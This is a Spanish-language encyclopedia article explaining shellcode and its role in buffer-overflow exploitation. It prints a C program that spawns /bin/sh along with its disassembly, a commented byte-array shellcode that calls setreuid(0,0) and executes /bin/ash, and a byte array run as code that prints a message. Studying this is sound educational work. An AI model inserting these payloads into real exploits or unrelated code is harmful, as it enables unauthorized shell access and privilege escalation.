Shellcode

De Wikipedia, la enciclopedia libre
Saltar a: navegación, búsqueda

Una shellcode es un conjunto de órdenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila (o stack) de ejecución de un programa para conseguir que la máquina en la que reside se ejecute la operación que se haya programado.

El término shellcode deriva de su propósito general, esto era una porción de un exploit utilizada para obtener una shell. Este es actualmente el propósito más común con que se utilizan. Para crear una shellcode generalmente suele utilizarse un lenguaje de más alto nivel, como es el caso del lenguaje C, para luego, al ser compilado, generar el código de máquina correspondiente, que es denominado opcode. Un ejemplo de una shellcode escrita en C:

#include <unistd.h>

int main() {
   char *scode[2];
   scode[0] = "/bin/sh";
   scode[1] = NULL;
   execve (scode[0], scode, NULL);
}

Esta shellcode, que ejecuta la shell /bin/sh, se vale de la llamada al sistema execve para realizar la ejecución de la shell contenida dentro del array scode. Si analizamos esto en lenguaje ensamblador el funcionamiento es simple: la llamada al sistema específica es cargada dentro del registro EAX, los argumentos de la llamada al sistema son puestos en otros registros, se ejecuta la instrucción int 0x80 (que producirá la llamada al sistema) para la creación del proceso (pueder hacerse tanto con fork() como con system()), la CPU cambiará ahora al kernel mode (supervisor - ring 0), y la llamada al sistema será ejecutada para así devolver, en este caso, una shell /bin/sh. Si compilamos y ejecutamos esto, obtendremos:

 
$: gcc -static scode.c -o scode
$: ./scode

sh-3.2$

Para obtener el código máquina se desensambla el archivo ya compilado (binario). Pueden utilizarse diversas aplicaciones para esta tarea, entre ellas una de las más populares para sistemas del tipo Unix, es objdump.

$: objdump -d scode
080483a4 <main>:
 80483a4:       55                      push   %ebp
 80483a5:       89 e5                   mov    %esp,%ebp
 80483a7:       83 e4 f0                and    $0xfffffff0,%esp
 80483aa:       83 ec 20                sub    $0x20,%esp
 80483ad:       c7 44 24 18 a0 84 04    movl   $0x80484a0,0x18(%esp)
 80483b4:       08 
 80483b5:       c7 44 24 1c 00 00 00    movl   $0x0,0x1c(%esp)
 80483bc:       00 
 80483bd:       8b 44 24 18             mov    0x18(%esp),%eax
 80483c1:       c7 44 24 08 00 00 00    movl   $0x0,0x8(%esp)
 80483c8:       00 
 80483c9:       8d 54 24 18             lea    0x18(%esp),%edx
 80483cd:       89 54 24 04             mov    %edx,0x4(%esp)
 80483d1:       89 04 24                mov    %eax,(%esp)
 80483d4:       e8 ff fe ff ff          call   80482d8 <execve@plt>
 80483d9:       c9                      leave  
 80483da:       c3                      ret    
 80483db:       90                      nop    

En el siguiente ejemplo se muestra una shellcode contenida en un array de un programa escrito en lenguaje C:

char shellcode[]=          
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x31\xdb"             /* xorl    %ebx,%ebx              */
    "\x31\xc9"             /* xorl    %ecx,%ecx              */
    "\xb0\x46"             /* movl    $0x46,%al              */
    "\xcd\x80"             /* int     $0x80                  */
    "\x50"                 /* pushl   %eax                   */
    "\x68""/ash"           /* pushl   $0x6873612f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

Así tenemos que una shellcode es código máquina escrito en notación hexadecimal. Posteriormente se utilizan dentro de programas escritos en C, como en el siguiente shellcode de ejemplo:

// shellcode.c 
// compilar con gcc shellcode.c -o shellcode
void main()
{
((void(*)(void))
{
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9"
"\xb0\x04\xb3\x01\x59\xb2\x21\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff"
"\xff\xff\x76\x69\x73\x69\x74\x61\x20\x68"
"\x74\x74\x70\x3a\x2f\x2f\x68\x65\x69\x6e"
"\x7a\x2e\x68\x65\x72\x6c\x69\x74\x7a\x2e"
"\x63\x6c\x20\x3d\x29"
}
)();
}

Las shellcodes deben ser cortas para poder ser inyectadas dentro de la pila, que generalmente suele ser un espacio reducido.

Las shellcodes se utilizan para ejecutar código aprovechando ciertas vulnerabilidades en el código llamadas desbordamiento de búfer. Principalmente el shellcode se programa para permitir ejecutar un intérprete de comandos en el equipo afectado.

Es común que en la compilación de una shellcode se produzcan bytes nulos, los cuales deben ser eliminados de la misma, ya que frenarían la ejecución de la shellcode. Para ello el programador se vale de diversas técnicas, como remplazar las instrucciones que genera bytes NULL por otras que no lo hagan o realizar una operación XOR, mover hacia registros más pequeños (como AH, AL), y de esta forma permitir que la shellcode sea realmente inyectable.


Véase también[editar]